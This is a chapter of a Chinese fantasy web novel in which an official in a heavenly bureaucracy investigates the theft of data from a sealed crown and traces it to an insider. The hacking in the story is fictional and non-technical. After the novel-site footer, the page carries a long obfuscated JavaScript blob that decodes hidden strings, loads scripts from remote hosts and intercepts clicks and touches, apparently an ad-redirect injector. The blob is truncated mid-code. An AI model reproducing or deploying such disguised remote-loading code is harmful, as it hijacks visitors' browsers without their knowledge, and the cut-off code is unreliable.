第一卷《八万亿》第十八章
第一卷《八万亿》第十八章(第1/2页)
第一卷《八万亿》第十八章
清晨五点半,张姜勃鑫被一阵急促的敲门声叫醒。他翻身从沙发上坐起来——昨晚为了整理联合核查组的数据,他直接在值房的沙发上睡了一夜——揉了揉发酸的后颈,走过去拉开门。门口站着的是孙校尉。头盔歪在一边,额角沁着一层细汗,手里攥着一枚亮着红光的预警玉简。
“张先生,出事了。“孙校尉把玉简塞进他手里,“档案馆那边连夜清点特殊存储容器,发现九号门里的东西被动过了。门锁完好,但容器内部的灵力封印有一条微弱的裂痕。技术处那边确认有人打开过容器,时间大约是在前天半夜。“
“九号门里存的是什么?“
“千丈金仙冠冕。具体是什么东西我也不太清楚,但综合办那边的鲁执中亲自来了,说冠冕是三方协议的附属抵押物,事关重大,让你尽快参与调查。“
张姜勃鑫把手里的预警玉简翻了个面,看到背面贴着一张手写的便条,字迹是鲁执中的——“速来南天门值房,我已到。“他把玉简揣进口袋,回头看了一眼值房桌上摊开的文件——昨晚整理到一半的联合核查数据、深部斜井的勘测记录、以及一份他手写的“债务重组方案第二稿“的提纲。他把那些文件迅速收拢塞进抽屉里,锁上,然后转身跟着孙校尉走出值房。
清晨的天宫还在薄金色的雾霭里。南天门牌楼在雾中显露出一种比白天更柔和的轮廓,快速通道还没有开启,108个卡点的光栏暗着。鲁执中已经站在值房门口了。他穿着综合办的深蓝制服,手里没拿任何文件,姿态比张姜勃鑫之前见到的任何一次都更紧绷——像一根被拉长了半寸的弓弦。
“冠冕是被打开的,而且不是第一次。“鲁执中开口时语速比平时快了一拍,“存储容器的操作日志显示,过去三十天内九号门被打开过三次。第一次是联合核查组做档案调取时按程序开的;第二次是三天前,开锁方式显示为'三钥同时验证,间隔0.7秒';第三次是昨晚,同一把钥匙,同一个间隔——但昨晚的操作者在打开容器之后多做了两件事。“
“什么事?“
“第一,他读取了冠冕内层的灵力刻字记录。第二,他把一件微型的数据窃取器贴在了冠冕内侧,然后合上了容器。那个窃取器直到今天凌晨技术处做例行灵力扫描时才被发现。窃取器已经读取了冠冕内层全部十七行刻字内容,并在今天凌晨三点左右完成了一次向外传送。“
十七行刻字内容被读取并传送了。张姜勃鑫在脑子里迅速过了一遍冠冕刻字的清单——祖父的名字、代际执行人序列、以及那三行被涂黑的应急协议摘要。如果这些信息落入了第三方手中,被涂黑的三行应急协议内容就可能成为别有用心的工具。
“窃取器的传送目的地能追到吗?“
“技术处正在查。但根据初始信号追踪,它指向的是天宫外部的一个接收端——城南的一处废弃物资接口站。那个接口站在编制优化办的旧系统里仍然登记为'备用物资通道',但已经很多年没有实际使用了。“
又是城南废弃货栈。张姜勃鑫心里一沉——之前退役天兵赵成和周大壮的活动节点也是同一个坐标。那条旧“备用物资通道“被人反复利用了。他有种直觉,这条线的后台通向一个人——周启明,那个在编制优化办技术专员中负责“外部联络“的人。
他对鲁执中说:“城南物资接口站的旧系统登记信息我能调阅吗?“
“可以。你的金仙箓权限覆盖了这一层级的数据。“
他走进值房打开终端。输入“城南物资接口站“的检索词之后,系统弹出了一份旧档案,条目详细但不完整——最近的一次“登记更新“是一百二十年前,当时负责维护这条通道的部门是编制优化办的下属外勤组。但档案页面的底部备注栏里有一行更近的笔迹——手写的,纸张扫描件,字迹显示出“周启明·系统维护·天历癸卯年四月“——也就是三年前。周启明在编制优化办负责“外部联络“,他的职责范围覆盖了包括这条废弃通道在内的各种边角系统。他不需要任何特殊授权就能在那条通道上做手脚,因为“维护“本身就是他的日常工作。
他关了终端,转身面对鲁执中:“冠冕的刻字内容被窃取之后,最坏的影响是什么?“
鲁执中沉默了一瞬。“冠冕内层记录了三方协议签署时的全部核心条款,包括那三行涂黑的部分。如果有人拿到了涂黑部分的完整解读,然后断章取义地对外披露——比如只说'天宫单方面有权接管封印',而不提灵山和地府各自的备忘录——三界协议就会被推入互疑的漩涡。“
“那现在要做两件事。第一,追回冠冕内层刻字的完整备份——如果数据还在窃取器的存储介质里没有被完全传走,技术处可能还能截获一部分。第二,锁定传送路径的上游端——看是谁发起了那三次开锁操作。“
“技术处已经在做第一件。第二件——“鲁执中在值房里踱了半步,“——操作者用了三把钥匙同时验证。赵常喜的钥匙三天前丢过,但他昨天找回后换了锁芯。综合办的钥匙一直在保险柜里没动过。信息技术处的钥匙也在钱玄同手上。唯一的可能是——有人在三天前复制了赵常喜的钥匙,然后立即使用,在赵常喜换锁芯之前完成了操作。复制技术跟第七卡点玉镜终端上发现的那种后门接口是同一类。“
清道夫案中使用过的同类技术。张姜勃鑫在值房的桌前坐了下来,指尖无意识地敲着桌面边缘。清道夫案刚结案,元昊被停职,徐静安进入了复核程序。但“清道夫“使用的那套“后门接口“技术——通过银箔带读取终端缓存、复制权限凭证——在案件结案时并没有被彻底销毁,因为技术处回收的银箔带样品只是实物样本,它的制造工艺和复制方法还掌握在那些当初制作它的人手里。周大壮、赵成和李四组成的退役天兵团伙,他们利用从旧系统里提取的知识,仿制了“后门接口“设备,然后反过来用它操作了天宫内部的设备。
他站起来,重新打开终端,输入“退役天兵转业安置办·人员名单“。名单弹出来时他快速地扫了一眼——五十七人。其中在“待安置“状态持续超过一百年的有二十一人,超过两百年的有七人。周大壮、赵成、李四都在那七人之中。而那个名单本身,在系统层面的维护权限归属于编制优化办的“外部联络员“——也就是周启明。周启明不仅有权维护退役天兵的转业档案,还有权对“备用物资通道“做日常维护登记。他在那套旧系统中拥有比大多数在岗人员更完整的信息权限。
他记下了这个发现,没有立刻声张。先做事——把冠冕追回来。他拿起手机联系了钱玄同:“钱副处长,冠冕窃取器的数据传送路径——如果信号追踪指向城南货栈的地面层,我在那边有一个旧仓库的坐标,可以派技术处的人做现场信号搜捕吗?“
钱玄同的回复很快:“信号搜捕设备我派人带着。你带路。“
张姜勃鑫走出值房时天色已经大亮了。薄金色的雾霭正在慢慢散开,南天门的主通道上已经开始有了零散的仙家排队。他穿出牌楼时往后勤柜方向瞥了一眼——父亲姜坤已经在柜前了,正在核对一份晨间的物资清单。他没有停下脚步。
城南废弃货栈在午前阳光中看起来比夜晚更破败,灰砖墙面上爬满了暗绿色的藤蔓,铁皮屋顶的接缝处锈出了几处缺口。钱玄同带来的技术处人员已经在货栈内展开设备——三台灵力信号探测器呈三角形排列,覆盖了货栈内的主要区域。设备启动后,信号读数不断闪烁——指向货栈西北角的一个旧木柜。有人撬开了柜子的背板,在柜壁内侧安装了一台微型的信号中继器。
“窃取器传送的信号就是通过这个中继器转发的。“技术处人员指着中继器上的一个接口,“中继器的发送端指向城南五里外的一个信号塔——那座塔是人间的民用通信基站,但天宫的备用物资通道在旧系统中与它有物理接口对接。“
城南五里外的民用通信基站。天宫与人间之间的实体接口之一——类似于城隍庙偏院里的八卦门,只是它不是一个通道门,而是一个“数据跳板“:天宫系统的信号从这个基站经过人间的通信网络被转发到另一个地址,从而隐藏真实的目的IP。
钱玄同收回了探测设备,转向张姜勃鑫:“窃取器传出的数据从城南货栈的中继器跳到了五里外的民用基站,然后从基站的人间网出口接入了一个外部的私人服务器。那个服务器的物理位置我可以查——但需要你通过金仙箓的权限调取人间的网络运营商数据接口。“
“我来调。“姜勃鑫打开手机,金仙箓权限中确实有一项“跨域数据接口“——可以调取天宫和人间网络之间的路由日志。他输入了中继器的发送时间戳,系统返回了一条匹配记录:“信号从基站出口进入人间公网后,接入了一个IP地址段。该地址段的物理定位为——城南工业区·旧纺织厂·第四车间。“
城南工业区旧纺织厂第四车间。坐标已经精确到具体房间了。那里应该就是退役天兵团伙存放冠冕原始数据的备用地点。张姜勃鑫对钱玄同说:“你带设备在货栈这边继续做信号残留分析,我去纺织厂那边看一下。“
“一个人去?“
“先确认坐标。如果有情况我再联系你支援。“
他出了货栈,沿着城南的工业区道路向东走了约两里路。旧纺织厂的围墙已经倒塌了大半,厂区内的荒草长到了齐腰高。第四车间在厂区最深处,是一栋三层的灰砖楼,窗户全部被木板封死,但底楼大门上的挂锁是新的。他蹲下来检查了挂锁的锁芯型号——与旧货栈里中继器箱体上的锁具同款,都是同一批安装的。这种统一性也说明操作者不只一两个人,而是有一定组织水平的团队。
他用铁丝撬开了挂锁,推门进入第四车间。内部堆满了废弃的纺织设备——生锈的织机、开裂的卷轴架、散落一地的旧线轴。但车间中央有一块区域被清理出来了:一张长桌,桌面上放着一台便携式数据终端,终端的屏幕亮着,正在运行一个程序——界面上显示着“传送完成·数据包已转存至外部存储“的字样,时间戳是今天凌晨三点二十分。他把终端的数据线拔掉,用手机拍下了界面,然后把整台终端装进了随身携带的防静电袋里。
回到城南货栈时钱玄同正在核对一组新的信号读数。“窃取器的本地存储还有部分残留数据没有被完全覆盖,技术处正在做还原。大约需要两天时间。“
“终端我找到了。在第四车间的一张桌子上。“
钱玄同看了一眼他提着的防静电袋,略微点头。“终端带回去做数据恢复。如果窃取器的残留数据和终端上的传送日志能拼起来,应该能恢复冠冕刻字的全部被读内容,以及它的传送去向。“
他带着那台便携终端和防静电袋回到天宫时已是午后。到值房之后他先把终端交给了技术处派来的数据恢复专员,然后坐下来,整理上午在货栈和纺织厂的发现。退役天兵团伙的作案路径逐渐清晰了:周大壮通过编制优化办的旧系统登记信息锁定了冠冕的存储位置;赵成利用吴自明被复制的旧权限代码伪造了物资通道的申报清单;李四用他的旧货店作为物流中转点把冠冕从货栈转移到旧纺织厂;而在纺织厂的第四车间里,他们用数据终端读取并传送了冠冕内层的刻字内容。整个行动的各个环节分工明确,且利用了天宫制度中那些“长期闲置但未被清理“的旧权限和旧系统——编制优化办的旧代码、退役天兵的转业安置接口、物资通道的旧申报模板、城南货栈的中继器安装地址。每一环都不需要正面突破防御,只需要找到一扇被遗忘的后门。
他合上记录本,靠进椅背。赵常喜从门外走进来,神色如常但步伐比平时稍微快一些,把一枚新换的钥匙放在桌上。“我换了锁芯。旧钥匙已经完全作废了。但我的旧钥匙在三天内被复制过——复制技术和清道夫案里的银箔带高度一致。“他停了一下,“清理掉'清道夫'程序之后,系统后台的'密钥复制'接口应该已经被封住了。但有人用同一套技术在旧系统里重新复制了一套工具。那套工具不在天宫的主系统里,是在退役天兵们自己搭建的独立数据节点上运行的。换句话说,他们把清道夫的'后门'技术整个复制了一份,塞到了人间的服务器上。“
(本章未完,请点击下一页继续阅读)第一卷《八万亿》第十八章(第2/2页)
“那你有什么建议?“
“封接口没用,因为他们的节点在人间。唯一有效的方法是追踪密钥复制工具的代码特征,然后反向定位生成代码的初始终端——那台终端一定还在天宫内部,因为退役天兵们不可能凭空造出天宫系统的密钥复制算法。那套算法的初始版本是三年前从编制优化办内部流出到外部的。如果能锁定那次流出的时间点和流出方式,就能找到源头。“
三年前。编制优化办内部。“周启明在编制优化办负责'外部联络'“,他在天宫与人间的旧系统之间有各种日常交互,密钥复制算法的初始版本通过“外部联络“的通道流出,而同时他又在前面的线索里多次出现——退役天兵转业名单的维护者、废弃物资通道的登记人。姜勃鑫没有在赵常喜面前直接说出周启明的名字,而是先把这个推论存放在脑子里。
“你那边有没有三年前编制优化办的人员交接记录?“他问赵常喜,“特别是'外部联络员'岗位在三四年前的人事调动或休假记录。“
赵常喜看了他一眼,然后从袖中取出一枚旧玉简,没有问原因。“三年前的外部联络员确实是周启明。他的岗位从那时起就没有换过人。人员交接记录显示,三年前的同一时期,周启明有一次为期一个月的'外部系统对接'出差——记录上写的是'配合功德司旧系统接口升级',但那次出差的实际工作内容没有留下详细报告。“
“那一个月他去了哪里?“
赵常喜的指尖在旧玉简上划了一下,弹出了一条附录。“出差地点——城南物资接口站。也就是你现在正在查的那个货栈区域。“
周启明三年前出差去了城南货栈,在那里待了整整一个月,而回来后不久,退役天兵的“待安置“状态列表就开始出现异常的维护记录——名单被更新、转业接口被重新激活、“清道夫“案中的一些技术组件就是从那个时期开始出现的。周启明很可能在城南期间搭建了独立的密钥复制工具,然后把它留在了那片区域的某个节点上,并在接下来的几年里通过“外部联络“的日常维护持续更新它。
“周启明今天在不在编制优化办?“姜勃鑫问。
“在。他今天下午有一个'功德司对接'的日程,应该在功德司的办公间里。“
张姜勃鑫站起来。他没有直接去找周启明,而是先去找了钱玄同。在信息技术处的办公室里,他向钱玄同确认了密钥复制工具的代码特征。“如果密钥复制算法的初始版本是从天宫内部系统流出的,流出的方式是通过编制优化办的外部联络岗位,那么那台编制优化办的终端上应该还留有原始代码的编译日志。即使代码本身被删除了,编译日志可能会保留一个缓存标记。“
“需要我远程筛查编制优化办所有终端的编译日志吗?“
“筛查周启明那台终端过去三年的编译日志就行。“
钱玄同调出了筛查程序。大约一炷香之后,结果弹了出来——周启明的终端在三年前出差去城南前两周有一次“代码编译“记录,编译的对象是一组名为“外部系统接口扩展库“的文件。那些文件的名称与周启明日常工作的内容一致,但文件的实际代码量与正常的“接口扩展“所包含的内容差了将近四倍——正常接口扩展的代码量在一千到两千行,而那次编译记录的代码量接近八千行。他在出差前两周里,往“外部系统接口扩展库“里塞了将近八千行额外的代码,而它在技术审查时被视作正常的系统维护内容。那些额外的代码就是后来被复制到人间服务器上的密钥复制工具。
“代码调用了天宫主系统的哪些函数?“姜勃鑫问。
钱玄同向下滚动,列出了代码的调用列表——其中最后一行代码调用的函数名让他顿了一下:“函数调用:仙籍系统·附注读取接口“。
仙籍系统的附注读取接口。那是查看仙籍附注记录的入口。周启明在密钥复制工具中集成了对仙籍系统附注的读取功能。他建造的工具不仅复制密钥,还读取被标记人员的仙籍附注——那些附注记录里通常包含与编制、岗位、状态相关的各类信息。如果他一直在使用这套工具读取退役天兵的附注记录,就可能掌握他们的状态变更信息,从而决定何时启动“清道夫“的替代操作。
“你能定位到这条代码调用是向哪个具体的仙籍编号发送请求吗?“
钱玄同又筛查了几秒钟。“最后一次请求的目标仙籍编号是——“她顿了一下,声音微沉,“TX-前纪-0001-0087。“
元昊的仙籍编号。周启明的工具在某个时间点读取了元昊的仙籍附注——在冠冕被打开之前或者之后。而元昊的仙籍附注里存有关于三方协议、执行人机制、虚渊操作记录等内容。他提取了那部分信息,结合冠冕刻字的内容,形成一个更完整的“三界协议全景图“。那套图如果被进一步外传,可能影响三界协议的稳定性。
“这份编译日志和附注读取记录——能否作为正式证据提交?“
“可以。逻辑链完整。从代码流出到工具搭建到实际使用,每一条路径都有记录可查。“
张姜勃鑫走出信息技术处的大门时,天色已经暗了。天宫的夜空泛着一种清澈的暗蓝色,星河在正上方展开成一条宽阔的银白色光带。他沿着云路走向编制优化办的方向,在灯光下推开大门,走进了走廊。周启明的工位在三楼最靠里的转角处,桌上亮着一盏小灯。周启明本人正坐在桌前,手里握着一枚玉简。他抬起头看到姜勃鑫站在门口时没有移动,也没有站起来。
“你今天下午在功德司对接?“姜勃鑫问。
“对接结束了。“周启明放下了玉简,“数据我都交到技术处的流转筐里了。“
“你三年前出差时多写入的八千行代码,调用仙籍系统附注读取接口的那部分——你的密钥复制工具读取了元昊仙籍附注中的三方协议相关内容,然后通过城南货栈的中继器传送到了旧纺织厂的数据终端上。那台终端今天凌晨完成了冠冕刻字数据的二次转发。“
周启明的目光在灯光中显得比白天更深。他没有否认,也没有解释。他只是把手掌平放在桌面上,安静地坐了几息。“元昊的附注记录——是我读取的,不是复制到退役天兵那边去的。我在他们的系统里植入了只读权限,只允许他们使用密钥复制工具去获取外部存储容器的信息,不允许他们访问仙籍系统本身。那部分操作是我自己做的。“
“为什么?“
“因为元昊在附注记录里存了三方协议的所有原始条款副本。如果那些条款被外人拿到,他们不会只用来'看看'。他们可能会用来在人间制造事端。所以我读完之后,在退役天兵的节点里做了访问控制——只有我可以读取附注内容,他们只能拿到冠冕容器层面的数据。“
他做这件事不是为了保护协议,而是为了自己掌握协议的全部解读权——不让退役天兵们直接接触到那份内容,以免他们在不准确的理解下把事情闹得更大。
“那冠冕刻字被窃取传送——这件事你知道?“
周启明没有回答。他把桌面上的玉简收回抽屉里,锁好,然后站起了身。他的动作很慢,像一个已经知道接下来会发生什么的人。“我会配合调查。但你最好快一点——我上午检查了一下旧纺织厂的节点状态,发现有一个外部连接最近三天都在反复请求访问冠冕刻字的存储区。那个连接的来源地址——“他停了一下,看了一眼姜勃鑫,“——是地府方面的一个外交通道的备用端口。“
地府的外交通道备用端口。有人在用那个端口尝试访问冠冕刻字数据。地府可能在联合核查之后、起草会之前,试图独立核实冠冕刻字的真实内容,确认天宫是否在协议中隐藏了更多信息。在正式外交渠道之外,地府选择了平行路径——试图独立获取一份数据副本来做交叉验证。这不是敌对行动,是信息策略。但代价是:如果天宫技术处的信号追踪发现了来自地府端口的请求记录,而三方之间缺乏事先沟通,这可能被误解为单方面的“刺探“。
张姜勃鑫在周启明办公室门口站了几秒。“地府端口的访问记录——你能提供具体的时间戳和请求次数吗?“
周启明从抽屉里取出一枚新玉简放在桌面上,推了过来。“这是我截取的备用端口请求日志。三天内共七次访问。每次访问都只停留在冠冕刻字的索引页层面,没有进入实际数据层。他们只是在确认冠冕刻字内容的存在性,没有读取具体文字。“
张姜勃鑫接过玉简收好,对着周启明说了一句:“你配合调查。我会上报技术处,确认地府端口访问的性质。如果是外交层面的常规行为,你提供的日志可以作为证据免除误解。如果是违规行为,日志本身就是记录。“
周启明没有反驳,也没有辩解。他只是重新坐下来,桌面上那盏小灯的光照着他的侧面。姜勃鑫转身走出了编制优化办的楼。夜风带着高处的凉意扑面而来,他的脚步在云路上显得比白天更沉一些,但不急。周启明的配合态度比预想的更完整——他没有删除那八千行代码的编译日志,也没有销毁七次地府端口访问的请求记录。这些信息如果被扣留,天宫技术处可能需要更长的时间来追踪;被交出来之后,整个调查链条的进展明显加快了。
他走到南天门时停了一步,看了一眼牌楼方向。快速通道已经关闭,光栏暗着,整座牌楼在夜色中矗立成一个巨大的深色剪影。那层金色底光在视野深处持续亮着——亮度稳定,方向不变,没有因这一天的波折而增强或减弱。他对着那个方向看了一眼,然后穿出牌楼,推开八卦门,走回了人间。公寓的灯在他进门后亮起,他坐在桌前,把周启明给的玉简在桌面上放平。三张纸——编译日志的时间线、密钥复制工具的代码片段、地府端口七次访问的详细记录——被并排放着。
这一天的事件积累了许多新的信息,但核心方向没有改变:冠冕的刻字内容被读取了,但数据的最终流向还需要确认。退役天兵团队与周启明之间的关系也被厘清了——周启明是技术提供者,退役天兵们是操作执行者。双方之间的协作了多年但各有边界。
窗外的夜色在路灯下泛着一种温暖的灰橙色。他靠在椅背上,把手掌交叠在脑后。三号门的金色光还在视野深处持续亮着,沉稳而不闪。他在那片光中坐了一会儿,不再梳理线索,只是让脑子里的“虚拟机“从高速运转逐渐降到低速。然后他站起来关了灯,走进卧室躺下了。
闭眼之后那层金色光依然亮着——不褪色,不移动。他在那片光中慢慢放松了呼吸,意识随着睡眠的临近向更深层沉去。明天技术处的冠冕刻字恢复结果会出来,周启明的配合供述会进入综合办的正式案卷,地府端口访问记录的初步定性会由外交通道同步确认。他只需要继续推进,像排列好的一组多米诺骨牌按顺序倒下时,观察每一个链条的衔接处是否运转正常。
他在沉入睡眠前的最后一瞬,感觉到那层金色底光的亮度微微变化了一线——不是增强也不是减弱,是一种“振动“,像是有人在那扇门后面触碰了一下门板。他在半梦半醒之间想,门可能正在从另一侧被触摸——站在门内的人,也许是某个正在等待协议被补充完整的存在,正在确认“门口的人是否准备好了“。
他没有睁开眼睛。他在那片振动的余波中继续下沉,沉入睡眠。像一粒石子沉入静止的水面,下沉过程中带着最轻的涟漪,最终在深处落定,完全静止。
第一卷第十八章完
一秒记住【882小说网】
882xsw.com,更新快,无弹窗!
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5